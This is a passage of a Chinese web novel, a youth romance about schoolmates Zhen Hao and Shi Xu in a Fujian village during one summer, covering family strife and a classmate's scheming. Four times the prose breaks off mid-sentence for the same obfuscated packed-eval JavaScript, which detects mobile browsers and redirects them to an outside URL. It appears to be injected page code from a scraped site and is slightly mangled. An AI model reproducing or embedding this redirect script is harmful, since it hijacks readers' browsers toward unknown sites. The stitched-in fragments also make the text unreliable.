他不动声色地将奶茶盖子打开，又“不小心”打翻，再“不小心”让字条泡在洒出来的奶茶中…… 做完这一切，他又猛地起身，故意将桌椅弄得咣当响。 裴小海是个闲不住的，听到这么大的动静，忍不住说话：“时序老兄，你在冲虾米？（冲虾米：闽南语“干什么”的意思。）” “不小心把奶茶弄洒了。”时序刻意将说话的音量提高了些，为的就是让甄好也能听到。 “不是我说你，时序老兄，哪有男孩子喜欢喝这种甜不拉几的东西啊……”裴小海晃了晃手里的咖啡，“这玩意儿才好喝。” 他话刚说完，班主任像幽灵似的出现在教室后门口，声音也幽幽的：“裴小海，看来明天的考试能得满分了，是吧？” 裴小海登时像鹌鹑似的缩了缩脖子，不再说话。 班主任总是神出鬼没的，心脏不好的早晚被吓出个好歹来。 时序擦干净课桌后，重新撕了一张科作业纸下来，确定班主任没在教室了，才写好新的字条回传给甄好。 他在纸上写道：“好好，你刚刚写了什么？奶茶不小心倒了，字都花了，看不清了，对不起。” 道歉有之，装傻有之，事实有之，在真真假假的几句话之下，甄好那颗忐忑不安的心被安慰了个七七八八。 她给时序回字条的时候，满脑子想的都是幸好他没看到，否则她不知道自己要如何面对他。 “现在没事了，明天考试加油。” 看着甄好回过来的字条，时序便知道自己的方法奏了效。 头顶风扇呼呼地摇着，窗外是夏夜独有的蛙声虫鸣，教室内的一桌一椅都像排列整齐的青春记忆，谁也挪动不了谁的半分。 期末考试结束的时候是在周六中午的十一点钟，各班都要求再回一趟教室开一个简短的班会。 陈老师深知同学们一颗心早已飞回了家，各科老师又早在晚自习布置好了暑假作业，所以也没多说，只交代了暑期注意安全，按时完成作业等事项，便放大家回家。 绝大多数同学都像出笼的小鸟，飞奔着朝校门走去。 甄好三人向来不急着回家，都慢吞吞地收着桌洞里的东西。 “好好，要不我们先吃完午饭再回家？”周淳芮提议道。 “我觉得可以。”时序不知何时走了过来。 鄢云书只能苦着一张脸：“那我怎么办？” 她也很想跟大家一起玩一会儿再回家，可鄢识断然是不会同意的。 想到这里，她落寞地垂下头。 “能不能算上我呀？”喻玲轻灵的声音传来，她说话总是爱带着听起来温柔至极的语气词，叫人不忍心拒绝她。 她说完又补充：“我请客怎么样？谢谢大家这个学期对我这个转学生的诸多关照。” 喻玲是从大城市转来的，这也曾是甄好所羡慕的。 她在小说或者影视剧里经常看到女主角或者男主角厌恶转学，因为那将意外着离开熟悉的人和环境，去到一个新的地方重新开始，她想的却不一样…… 她渴望转学，渴望去到一个更大更繁华的地方，渴望认识更多更优秀的朋友…… 她相信环境改变人，也相信环境造就人。 可惜的是，从小学到初中，她一直按部就班地在小地方成长、读书，从没有到外面看看世界的机会。 “哇，喻姐，也算上我吗？”裴小海贱嗖嗖地围了过来。 “我先回家了。”师杭与的话紧随其后。 裴小海登时又追着他跑去：“哎，你等等我啊，你干吗呢？不吃白不吃！” “我又没拦着你。”师杭与凉凉地瞥了他一眼。 裴小海很快追着师杭与来到校门口， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621045|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见到倚在车旁的那个男人时，愣了愣：“二叔，你怎么在这里？是来接我回家的吗？” 说着，他快步朝裴延东走去。 裴延东伸手拍了拍他的肩膀，嘴角噙着笑意：“小海长高了不少啊。” “那是。”裴小海满脸骄傲地挺了挺脊背，“再努力点就赶上杭与了。” “赶上我？”师杭与目光微微下垂，倨傲不已，“这辈子都不可能的。” 他话音刚落，裴小海就挥拳打了上去。 当然，他没有得逞，因为师杭与早就预判，轻巧地躲了过去。 而教室内，甄好委婉地拒绝了喻玲的请客之说：“大家都是同学，不用这么客气的。” 喻玲也大概了解她的性子，所以并没有坚持，转而让步道：“那我请喝饮料总没问题吧？” 这回甄好没有开口拒绝，却也没有答应。 她内心是不想跟喻玲一起吃午饭的，毕竟…… 她看了一眼也会一起的楼知夏三人，心里说不出是什么感觉。 喻玲好似没有察觉她的抗拒，又自顾自地说道：“听说刺桐村风景秀丽，有山有水，想去很久了！好好，我们吃完可不可以去你家玩啊？” 面对她突如其来的请求，甄好直接整个人呆住了。 从小到大，她最抗拒的事情之一便是让同学到家里去。 就连周淳芮和鄢云书都鲜少去她家，非要说起来，常去她家的同学只有时序一个。 整个村里，几乎每家每户都盖了新房，屋内都是漂亮的现代化装修，浴室有自动下水马桶，也装有冬暖夏凉的浴霸，只有少数的一些家庭还住在传统的闽市古厝。 而甄好家便是其中一户。 若不是甄爷爷省吃俭用，在甄好读四年级的时候，给家里铺上了地板砖，甄家现在还是夯实的那种土地板。 哪怕家里的地板花色老旧，也仍是甄好小小心灵的一丝慰藉。 首先，如果遇到台风暴雨天，屋顶露水不再会令地板变得泥泞肮脏，只需要拖把就可以轻松将地板洗净；其次，铺了地砖的地板连小蜈蚣和不知名的小虫都少了很多，起码她再也没被小蜈蚣咬过了。 在一个炎热的周末午后，她一个人躺在铺着凉席的床上睡午觉。她睡着睡着觉得脖子被什么轻轻地蛰了一下，又刺又疼。几乎是下意识的，她往脖子不舒适的地方扫去，眼睁睁看着一只小指长的红足蜈蚣被自己扫落在地，很快扭着身子不知钻到何处。 她吓得再也不敢回屋，只敢来到连廊上放着的竹榻，连坐下来都要进行一番左右张望，生怕从哪里再跑出来一条蜈蚣，结果不知何时又睡着了。她本以为是自己犯困，后来才知道是蜈蚣有轻微的毒性，导致她迷迷糊糊、头昏脑涨地睡了一觉又一觉。 从那之后，她对多足动物产生了生理性恐惧，别说看到，单是想到都会觉得头皮发麻。 最后是，再有同学来家里，甄好总无端觉得自己可以更抬得起头来。 她知道自己这样虚荣不好，也知道嫌弃自己破财的家不好，可她就是羡慕别人有亮堂宽敞的新家，也抗拒被更多人知道自己的家庭情况。 眼前的场景不容她回忆太多，她却也有些束手无策，不知该如何拒绝喻玲。 就在她左右为难，不知如何是好时，一句听起来不甚在意却每个字都是在替她解围的话传到众人耳朵里。 32. 不可磨灭的飓风 喜欢一个人就像蝴蝶轻轻扇动翅膀，却为我的青春带来一场不可磨灭的飓风。 ——《时序日记》 “喻玲同学，你看起来不像这么不体贴同学的女孩子啊。”时序的语气略显吊儿郎当，“甄好既是病人，我们就该让她早些回家休息，不是吗？” 喻玲被他一番话说得脸色红一阵青一阵，半晌都说不出话来。 最后还是楼知夏开口：“时序同学说得对，我们就不要打扰甄好同学了。等开学了再说吧。” 喻玲本就被时序说得无言以对，一听楼知夏这样说自然是连连点头：“那同桌你先好好养身体，我们以后再约。” 一场原以为会拉扯许久的对话就这样被时序三言两语结束了。 甄好感激地看了一眼他，最后决定先一同前往校门，再决定其他事情。 鄢云书肯定没办法与他们三人同行，刚到校门就看到了张叔的车，只得依依不舍地道别后就上了车。 她坐在车里，透过车窗看着甄好三人站在原地有说有笑的样子，巨大的失落感顿时笼罩她全身。 窗外有微风吹来，明明那样轻，鄢云书却觉得好似要将她与甄好还有周淳芮两人的友情吹散。 车缓缓启动，快速驶离。 被远远抛在车后的甄好三人，身影越来越小，越来越小。直至完全看不见，鄢云书才收回不舍的目光。 甄好看着张叔的车彻底离开视线，才真的将注意力放在周淳芮两人讨论的事情之上。 他们在说去哪里吃午饭，周淳芮坚持吃火锅，时序则想吃粤菜，两人正僵持不下。 忽然，争执声只剩周淳芮一人的，时序陡然安静了下来。 甄好下意识地顺着他的目光往左侧看去，只见裴小海与一个高个子男人一同朝他们走来。 她只看了一眼就将视线重新移到时序身上，却见少年双手紧紧握成拳，眼神亦不算友好。 甄好正觉得奇怪，忽地觉得不远处的那辆车有些眼熟。 她曾见时序上去过。 那朝他们走来的这个男人是…… 不等她多想，裴小海先开口了：“时序老兄，没想到你跟我二叔认识啊。” “二叔？”时序又将双拳握紧了些，眉头也不自觉地皱起来。 他倒是从未将裴小海与裴延东联系在一块，没想到他们竟是叔侄关系。 “对啊，我二叔可厉害了。”裴小海说起裴延东来滔滔不绝，“年轻的时候几乎走遍了全球的国家，还是酷毙了的战地记者……” 裴延东适时打断他：“小海，你不是要去买饮料吗？” 他只用一句话就将裴小海的注意力带到别处。 “啊，对。”裴小海一拍脑袋，“我差点忘了，我去一趟小卖部，二叔你等我。” 走之前，他又问在场的其他三人：“时序老兄，甄同学，周同学，你们喝什么？” 没人知道他只不过是在大人面前装乖而已。 甄好和周淳芮几乎异口同声：“不用了，谢谢。” 时序却没有开口说一个字，只是目光有些飘忽地看着裴延东身后。 母亲也来了吗？ 这是时序心里最清晰的想法。 裴小海一边跑远一边喊道：“那我就随便买了啊。” 他说什么时序根本没听到。 “小序，你和小海念一个班级？”是裴延东的出声才让他回过神来。 “我妈也来了吗？”时序答非所问。 甄好和时序做了这么多年的邻居，没见过眼前这个看起来俊朗儒雅的叔叔，忍不住在心里猜测他和时序之间的关系。 这样说也不准确。 刺桐村就那么大，邻里邻外但凡发生一点小事，不用多时就会传到家家户户。“时阿姨正在和一个男人约会”的消息早就不是什么秘密，甄好也没少听何允莲吼着嗓子骂人家老来俏什么的，总归不是什么好听的话。 不过甄好只听过谣言，并未真正见过他们口中的时阿姨正在约会的男人。 如今看时序的反应，便是眼前这位了吧。 裴延东还没回答，就见身穿青绿色旗袍的时谙款款走来。 “小序，不好意思，来得着急，又怕影响你考试，没有提前给你消息。”时谙的嗓音在岁月的洗礼中越发温柔如水，听得人心情都好了起来。 时序垂着头，没有看她，也没有回答她。 “时阿姨好，我和同学有事要先回家啦，叔叔阿姨再见。”周淳芮拉过甄好的手，笑容满面地对时谙说道。 甄好也很快跟着反应过来：“叔叔阿姨再见。” 两人没有再看低着头的时序一眼，快速从这个略显尴尬的场面溜走了。 因为时谙的到来，原本的三人行最后只剩甄好和周淳芮两人。 “芮芮，要不我们还是早点回家吧。”这句话她犹豫了很久要不要说，从鄢云书没办法跟他们一起时，她就想说了。可又考虑到时序和周淳芮，她不想让他们失望，就一直忍着。直到方才发生的那一幕，她终于找到了时机。 如果她回家晚了，何允莲会唠叨的。 她不想听唠叨，她想尽可能地拥有平静的学习生活。 所以…… 她看了一眼明显有些失落的周淳芮，觉得心里愧疚不已。 好在周淳芮没有异议：“就我们俩确实少了点意思，只能暑假看看有没有机会一起出来玩了。” “嗯。”听她这样说，甄好不由得松了一口气。 甄好回到家的时候正好赶上午饭，是甄东成亲自下厨做的。 满满一桌子菜基本上都是甄好姐妹俩爱吃的，有红烧鱼，有茭白炒肉，有油爆虾，还有诸如蒜蓉空心菜等家常小菜。 有鱼有肉还有虾的日子在甄家不常有，甄美看得直吞口水，好不容易终于等到阿姐回家，她一脸期待地等着父亲宣布开饭。 看着看着，她口水咽了一次又一次，忍不住偷偷拈了一只虾。 由于不常吃虾，她剥虾的动作很是笨拙，还没吃到嘴里就被甄黎发现了。 他拍着小手嚷嚷道：“二姐偷吃，二姐偷吃，妈妈打，妈妈打……” 何允莲听到他的叫喊声，以为出了什么事，几步追过来，才知道是二丫头偷吃桌上的菜。 她正欲发火，甄东成端着最后一盘菜走来，脸上带着温和的笑：“小美，爸爸做的菜好吃吗？” “好吃，阿爸做的菜最好吃了。”虽然虾还没完全吃到嘴里，但嗦也能嗦出味道来了，甄美从没吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629992|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这样好吃的菜。 两句对话让何允莲想要训斥甄美的话吞入腹中，只得忍住怒火坐下来，准备吃饭。 她也不知道自己是在气什么，看到两个让她吃尽苦头的女儿她本来就一肚子气，再看到明明是夫妻却让自己半生无依无靠的男人，她的火就更不打一处来。 “吃饭！”何允莲给自己打了一碗饭后重重地放在桌子上，发出哐当一声。 甄美不禁缩了缩脖子，甄好也微微绷直脊背。 她最怕突如其来的声音，总会让她想起儿时的恐怖经历。 只有甄黎面不改色，依旧玩着手里的玩具。 倒是甄东成脸色一沉，对着甄黎厉声道：“吃饭的时候把玩具放下。” 甄黎停下了玩玩具的动作，却没有马上放下，而是看了一眼何允莲：“妈妈——” 小家伙那声音撒娇中带着委屈，何允莲的心立刻就软了：“黎黎还小，要求那么多做什么？” 说着，她横了一眼甄东成。 甄东成却不为所动，直接放下筷子，力道不轻不重，却足以震慑小小的甄黎。 他只是那样静静地看着小儿子，不怒自威的神情让甄好姐妹俩看了都忍不住哆嗦。 这下甄黎终于乖乖放下了玩具，也第一次不需要人喂，一个人乖乖地吃了一整碗米饭。 何允莲本就窝着火气，见心爱的儿子不被他许久未见的父亲捧在手心里疼就算了，还如此给脸色看，登时忍不住怒气上涌，饭都没吃几口。 她忍到甄黎吃完饭才将怒火发了出来：“甄东成，你有完没完？这日子还能不能过了？能过过，不能过别过了！” 他们结婚十五年，从未有过一丝甜蜜，就连相敬如宾都算不上，有的只是传宗接代的冷漠。 甄东成虽然好好地活着，她却过得跟守活寡没什么两样！ 这是她第一次说出这种不想过了的话，本以为甄东成多少会变点脸色，没想到他只是冷静地说道：“有什么话我们进屋说，别吓到孩子。” 温和有礼，甚至微微笑着……这便是甄东成一直以来对待她的态度，叫人挑不出错处，却叫她忍无可忍。 她是个活生生的人，不是工具也不是死物。 在她每次的歇斯底里都换来甄东成的无动于衷后，她学会了安静，也学会了独处。 直到生下甄黎，她的日子才开始慢慢好过起来，遭受的白眼也终于得以理直气壮地瞪回去。 在千禧年时代，落后贫穷的刺桐村，人人都以生儿子为荣，没有儿子就一辈子抬不起头来。 生甄黎之前，她也不过才二十九岁。 二十九岁，多年轻啊，她却像一个老妪，张牙舞爪，身心俱疲。 世俗对女人的要求和眼光却几乎要将年纪轻轻的何允莲杀死。 听到甄东成的话，她突然就累了。 她已经能想象到即使两人共处一室，他也只会任由她撒泼发泄，然后不发一语地看着她。 那目光就像悲天悯人的神，那慈悲为怀的面容下藏着慈悲之心，却不是对她。 所以，何允莲直接拉着甄黎出了门，将门甩得砰砰作响。 而另一边，喻玲在□□上发出去一条消息：“我有办法帮你追到你喜欢的女生。” 33. 朋友关系最长久 就在我以为我们有未来的时候，你却告诉我朋友的关系更长久。 ——《时序日记》 发完消息后，喻玲的母亲赵海清正好喊吃饭。 喻玲只好把手机揣进口袋里，老老实实地上餐桌坐着。 原来她们几个是打算下馆子的，奈何最后还是没能成行，不是这个有事就是那个不方便。 她只得回家吃午饭。 赵海清是一个很精致的女人，从小对喻玲的要求极其高。不仅要她从头发丝到脚指甲都必须精致漂亮，还要她学习成绩漂亮，学习成绩包括在校学习和她一直在学的钢琴和舞蹈。 在母亲的高压要求下，喻玲在家人和老师同学面前都强迫自己保持一个乖乖女的形象，可这些压力经过日积月累的发酵，渐渐发展成她私底下顽劣甚至恶劣的模样。 她认为自己比别人用功，比别人优秀，就该得到最好的。谁不喜欢她就是否定她，就是把她的脸踩在脚底下摩擦，所以，她想得到的东西就一定要得到。 不论是物品还是人。 吃饭的时候，喻玲忍了又忍，才没有拿出手机来看有没有收到回信。 在喻家的饭桌上是不允许说话，更别说玩手机了。 赵海清是一个强势惯了的女人，向来说一不二。喻父则相反，性子温暾，妻子说什么他半句都不敢反驳。 因为有一个这样没骨气的父亲，喻玲从未得到过来自父亲的庇护，她从渴望得到父爱到逐渐看不起父亲的懦弱，最后演变成另一个赵海清，常常跟父亲对着干。 “玲儿，口袋里放了什么？拿出来。”赵海清早就发现喻玲的不对劲，只不过一直没发话。 “妈，没什么。”喻玲眼神闪躲，不敢直视她。 “拿出来。”赵海清的声音严厉了几分。 喻玲这才不情不愿地从口袋里掏出手机，乖乖地放在母亲伸出来的掌心中。 “罚你六个小时不准玩手机。”哪怕是期末考试刚结束，她也丝毫没有要放过女儿的意思，“吃完饭，站立半个小时，午睡半个小时，然后起来练舞。” “知道了，妈。”喻玲死死咬着嘴唇，双手不自觉紧紧握成拳。 寒暑假对她来说，宛如炼狱。 她强忍着眼泪，扒干净碗里的最后一粒米。 小时候因为吃饭没彻底光盘，她没少挨打挨骂。起初，她哭着跑向父亲，想要寻求帮助，可父亲只是看了她一眼，说：“妈妈说得对，玲儿要听妈妈的话，乖。” 后来次数多了，她只是红着眼睛哭，谁也不求，任凭赵海清教训，打不还手骂不还口。 “以后不要再让我发现第二次。”赵海清扬了扬喻玲的手机，“否则这东西你别用了，影响学习。” “知道了，妈。”喻玲努力压下哽咽，保证道，“下次不会了。” 她唯一庆幸的是，赵海清不会随意翻看她的隐私，否则她想死的心都有。 宋景看到消息已经是一个小时以后的事了。 喻玲：“我有办法帮你追到你喜欢的女生。” 他本想问对方怎么知道自己喜欢的女生是谁，转念一想，又觉得这个问题没有意义，于是直接回道：“有话直说。” 他自然是等不到喻玲的回答的。 不过他回完消息就没将这件事放在心上了，放假当然要尽情地玩，他此时正在网吧和队友进行激烈的厮杀。 一直等到晚饭时间，宋景一个人走在回家的路上才收到喻玲的消息：“见面说？” 宋景朝家里走去的脚步一顿，停下来回复：“时间，地点？” 喻玲没想到会这么快就收到回信，顿时开心得只差没原地蹦起来，但她生生忍住了。 赵海清正在收拾碗筷，让她看到了又该领一顿数落了。 为了让她好好读书和学好钢琴和舞蹈，赵海清从不让她干任何家务，还总说：“我女儿长这么漂亮，就该生来是跳舞和弹钢琴的料。” 赵海清经常挂在嘴边的一句话就是“我女儿长这么漂亮”，这让从小听赞美的喻玲对自己的外貌一直十分自信，性格也被养得娇纵跋扈了些。 可赵海清常说的还有另一句话：“妈妈做这些都是为了你，你要听话，要懂事，知道吗？否则妈妈的苦就白吃了。” 因为这句话，随着年龄的增长，喻玲开始觉得亏欠赵海清的，只要考试没考好，舞蹈没跳好，钢琴没弹好，她都会觉得对不起什么都是为了自己的母亲…… 久而久之，她开始事事要求自己做到完美，也开始寻找不一样的事发泄自己的压力。 例如捉弄同学，例如谈一场轰轰烈烈却瞒着老师家长的校园恋爱。 她刚好对宋景产生了兴趣，偏偏甄好横插一脚，这也就有了后来的情书恶作剧事件，以及…… 喻玲嘴角带着一丝不怀好意的笑，而后低着头打字：“现在有空？” 她每天晚上有两个小时的自由时间，只要在晚上八点之前到家，赵海清就不会说什么。 宋景秒回：“有。” “十分钟后，楼紫篮球场见。”喻玲很快敲定了地点。 “行。”宋景回了一个简单的字。 喻玲家离楼紫篮球场步行三分钟就能到，而宋景的家稍微远一点，不过十分钟已绰绰有余。 出门前，她特意到洗手间仔仔细细检查了一番自己的着装，连头发丝都没放过。 镜子里的女孩面容白皙，明眸皓齿，朱唇不点而红，微微一笑，七分清纯，三分勾人。 喻玲满意地看着镜中的自己，要不是怕被赵海清发现，她一定会涂上自己偷偷买的唇油再出门。 不过这丝毫不影响，她早就将唇油放进口袋里，只要出了家门，随时可以涂。 她满怀少女羞涩，踏着轻盈的脚步去见心上的男孩。 然而她刚走出家门，刚涂上漂亮的唇油，就收到了宋景的又一条消息：“算了，有事在线上说吧。” “怎么了？”莫名其妙被爽约，喻玲虽气极，但还是耐着性子问道。 宋景回的话却几乎让她气个半死。 他说：“我不想让我喜欢的女生误会。” 暑假的第一个晚上，甄好的窗户被一小颗小石子击中。 声音小到不仔细听根本听不见，偏偏甄好的听力一向比常人好，一下子就听到了。 这是她和时序之间的暗号。 说来也是有趣，她就像活在一个另类的武侠世界中，与鄢云书和周淳芮有暗号，与时序也有暗号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633624|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她出去的时候要经过客厅，正在看动画片的甄美叫了她一声：“阿姐，快来看电视！” “阿美，你先看，姐姐有点事要出去。”甄好道。 “好吧。”不能和甄好一起看电视，甄美有些失落，但精彩的剧情还是一下子转移了她的注意力。 甄好出了门很快来到时序经常等在那里的地方。 不知为何，哪怕月色朦胧，她都能感觉到少年一身寂寥。 那落寞的身影竟比天上的月还要凉几分。 “时序？”甄好轻轻出声唤他。 少年却久久没动。 直到甄好走到他面前，他才抬起一张灰暗的脸。 “好好。”时序的嗓音有些哑，“你可不可以陪陪我？” 甄好从未在时序身上感受到这种浓郁的沮丧和无助——他到底怎么了？ 可是她没问，只是低声道：“跟我来。” 刺桐村的小道阡陌纵横不说，上山的路也遍布脚下。 他们只需要随便选择一条，就可以避开所有烦恼，只聆听虫鸣蛙声，只感受山间的清风。 时序乖乖地跟在他身后，像找不到家的流浪小狗，像得不到糖果的可怜小孩。 甄好看着他这副模样，忽然很想抬手摸摸他的头。 事实上，她也真的这样做了。 就像抚摸小奶狗毛茸茸的脑袋，她手上的力道又轻又缓，温柔中带着一丝怜惜，好似真的在对待一只受了委屈的小狗。 时序没有反抗，任由她薅着自己的脑袋。 不知是不是少女的错觉，借着月光，她好像看到少年眼中有泪光闪动。 于是她更加放柔了动作，说话的声音轻得像风：“突然有点想念小时候的那片桃子林。” 听到这话，时序猛地抬起头，眼睛亮晶晶的。 甄好继续说：“再带我去一次好不好？” “好。”时序轻轻地点头，“好好说什么都好。” 人的情绪真的很奇怪，明明上一秒还难过得想哭，下一秒却可以因为少女的一句话而变得欣喜若狂。 童年那个被分食的桃子，一直藏在他们内心深处，谁都不曾再提起过。 突然被甄好提起，时序有种岁月穿梭的错觉，桃子的香气仿佛就飘在鼻尖。 他下意识想去拉甄好的手，却在即将触碰时又缩了回来。 他们早就不是当年那个五六岁的孩童，手不能再轻易牵，拥抱也要带着距离。 甄好没有发现他想触碰却收回的手，满心只想再去一次桃林，重温童年，也希望能够短暂疗愈时序的心灵。 两人一路快步走加小跑，很快就来到了桃林。 时谙这些年来一直细心打理着这片水果园，桃林更是长势喜人，每年都是丰收季。 这一次，他们没有摘桃子，而是挑了处地方双双坐下来。 头顶的星空璀璨而静谧，笼着地上的一双人，像在无声诉说着古老的神话。 甄好突然开口：“牛郎织女很快就要见面了呢。” “嗯？”时序不明所以。 “有情人一年只能见一次面，好苦。”甄好突如其来感到伤春悲秋，“都说爱情十有九悲，看来还是朋友的关系最长久，你说对吧，时序？” 34. 不告而别的少年 我没有等来蝴蝶温柔的翅膀振动，等来的是一场青春海啸。 ——《时序日记》 经过重温桃林那晚，甄好和时序整个暑假都没再见过一面。 甄好没有手机，也没有机会上网，她几乎与外界断联。 在家人的安排下，她和甄美被送到了美园镇的老姨家，做一些简单的手工贴补家用。 这不是甄好第一次去老姨家。 没人知道她内心的抗拒，这让她再一次体会到了被家人抛弃的童年。 为了生一个儿子，甄好六岁那年跟着甄奶奶漫山遍野颠沛流离，今晚借住王家，明晚借住李家，最后直接把她送到了老姨家。 一住就是小半年，直到她到了上学的年纪，才重新被接回刺桐村。 却不是接回甄家。 彼时的甄家依旧处于人去楼空的状况，甄家人逃的逃，躲的躲，分散在全国各地，只为让甄东成“后继有人”。 甄好这回被送去了老舅家，也就是甄奶奶的亲弟弟家。 老舅一家人对甄好不错，但到底寄人篱下，总是不如在自己家自在。 经历一次又一次的寄住生活后，她整个人变得没有安全感，也变得沉默寡言，常挂在脸上的笑容一日日变淡…… 或许是体弱，或许是心思焦虑，八岁之前的甄好时不时还会有尿床的现象。她永远记得老舅妈看自己那嫌弃的眼神，永远记得那句充满讽刺的话：“都这么大的小姑娘了还尿床，一点也不爱干净。” 她想哭出来，可是她只敢默默地垂泪。 她想离家出走，可她无处可去，只能被困在这小小的山村里，日渐枯萎。 终于，从前那个活泼爱笑的女孩彻底消失不见。 再次踏足美园镇，甄好当晚害怕到睡不着。 老姨家很大，足足有五层楼。 在闽市，自建小洋楼是屡见不鲜的事情。老姨家在当地算是有头有脸的人物，至少面上样样是好的——有洋楼，有工厂。 老姨安排姐妹俩住在二楼的一个主卧里，比甄家简陋的居住环境不知要好上多少倍。 这明明是甄好梦寐以求的现代化居所，她却怎么都高兴不起来。 儿时的回忆在她脑海中一幕幕回放着，叫她连呼吸都有些困难。 她侧头看着已经睡熟的甄美，心中又陡然多了一丝力量和一份安心。 至少有妹妹陪在身边，这个暑假应当不至于过得太差。 她漫无边际地想着，脑海里突然浮现一张比月色还要好看的脸。 在夜空下飘着桃香的桃林里，在山风温柔拂过耳畔的小道上，在星星眨着眼看地上的一双人时，少年的声音轻得像散在风里：“相爱也能浪漫长久。” 这是时序对她那句“朋友关系最长久”的回复。 她也不知道自己怎么会在此时此刻忽然想到那一晚的时序，她只知道时序那张悲伤中带着坚定的脸深深地印在自己的脑海里。 就像童年的那阵桃香，在她从今往后的人生长河中，都不曾散去，甚至历久弥坚。 翌日，甄好姐妹俩早早就起了床。 来之前，甄奶奶耳提面命：“去了老姨家，要勤快点，知道吗？不能学你们的妈妈睡懒觉，眼里要有活，这样大人才会喜欢……” 就算甄奶奶不说，她们姐妹俩也早就深谙这个道理。 只是，她们没想到的是—— “阿爸，你怎么来了？”甄好看见甄东成出现在一楼的工作区时，满脸惊讶。 “我来监督你们两个小家伙干活。”甄东成开玩笑道。 甄美一听高兴得不得了：“太好了，又可以吃到阿爸做的饭菜了！” “你啊，就知道吃，小馋猫。”甄东成轻轻地戳了一下甄美的额头，眼里满是宠溺。 他来此处有两个原因。一是甄好的身体需要连续喝一个月的中药调理，交给外人熬制他不放心；二是最近没业务，就当来帮工赚点养家费。 而这些，他自然是不会告诉孩子们。 有甄东成在身边，甄好姐妹俩在老姨家难得感受到了家庭的温暖。 甄东成的厨艺不错，老姨就让他负责十几个人的一日三餐，平时再开车送送货之类的，倒也算轻松自在。 在二〇〇六年的初夏，甄好姐妹俩第一次接触到日漫《名侦探柯南》，从此便一发不可收地爱上了。 每天下工后，她们就窝在二楼的客厅，双双坐在地上靠着沙发，不亦乐乎地分析和争执着谁才是凶手，杀人手法又是什么。 快乐的时光总是飞逝而过，在甄好连续喝了二十九天的中药后，甄东成要离开美园镇，重新去寻找生意机遇。 虽然马上就可以不用喝苦涩难咽的中药是件值得高兴的事，但甄好更加舍不得的是父亲要离开这件事。 在甄东成给大家做最后一顿午饭时，甄好在上工期间偷偷溜去了厨房。 厨房是另外建出来的一处平房，从五层洋楼走过去要经过一棵巨大的杧果树。 彼时正值杧果成熟的季节，每次走那条小路，都要当心脑袋被熟透了的小杧果砸到。 小杧果香而甜，不剥皮就能闻到那股特殊的杧果香，是甄好姐妹俩最爱吃的水果之一。 准确来说，是她们所能吃到的水果里，最爱吃的水果之一。 这一次，甄好没有心情管掉落的杧果甜不甜，一路小跑着来到厨房门口。 她刚站定，就听甄东成“咝”的一声，继而砂锅里的汤药因为他没拿稳而洒了一些出来。 滚烫的汤汁沾了些许在他手上，他本就被砂锅烫到了手背，这下更是条件反射地迅速缩回手，然后摸了摸耳尖。 “阿爸！”甄好看到这一幕焦急地上前两步，“您没事吧？” “好好？”甄东成看见她立刻露出温和的笑容，“你怎么来了？” 甄好却没回答，而是抓着他的手到水龙头下冲着凉水。 这一冲，她才发现父亲手上满是大大小小的茧和一些看起来就是刚烫伤不久的小水泡。 水流轻柔和缓地冲刷着甄东成那双伤痕累累的手，好似也在甄好的心上冲刷了一个又一个小小的洞口，稍微呼吸一下就疼得眼睛发酸。 “阿爸，这些都是为我熬药烫伤的吗？”甄好垂下脑袋，声音闷闷的。 “傻孩子，小伤而已。”甄东成并没有将小小烫伤放在心上，“再说了，做饭哪有不被油溅到的，是不是？” 甄好哽咽着没说话。 被油溅到还是被汤水烫伤她还是分辨得出来的。 在二〇〇六年的七月，甄好拥有了一个毕生难忘的盛夏。 暑假在眨眼之间迎来了尾声，甄好姐妹俩很快结束做工生活，回到刺桐村准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638241|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备开学。 不过短短两个月不到的时间，却给了甄好“山中无日月世上已千年”的错觉。 在她升上初二的新学期，发生了很多事情。 其中最大也是最让人无奈的事情莫过于——时序的母亲结婚了。 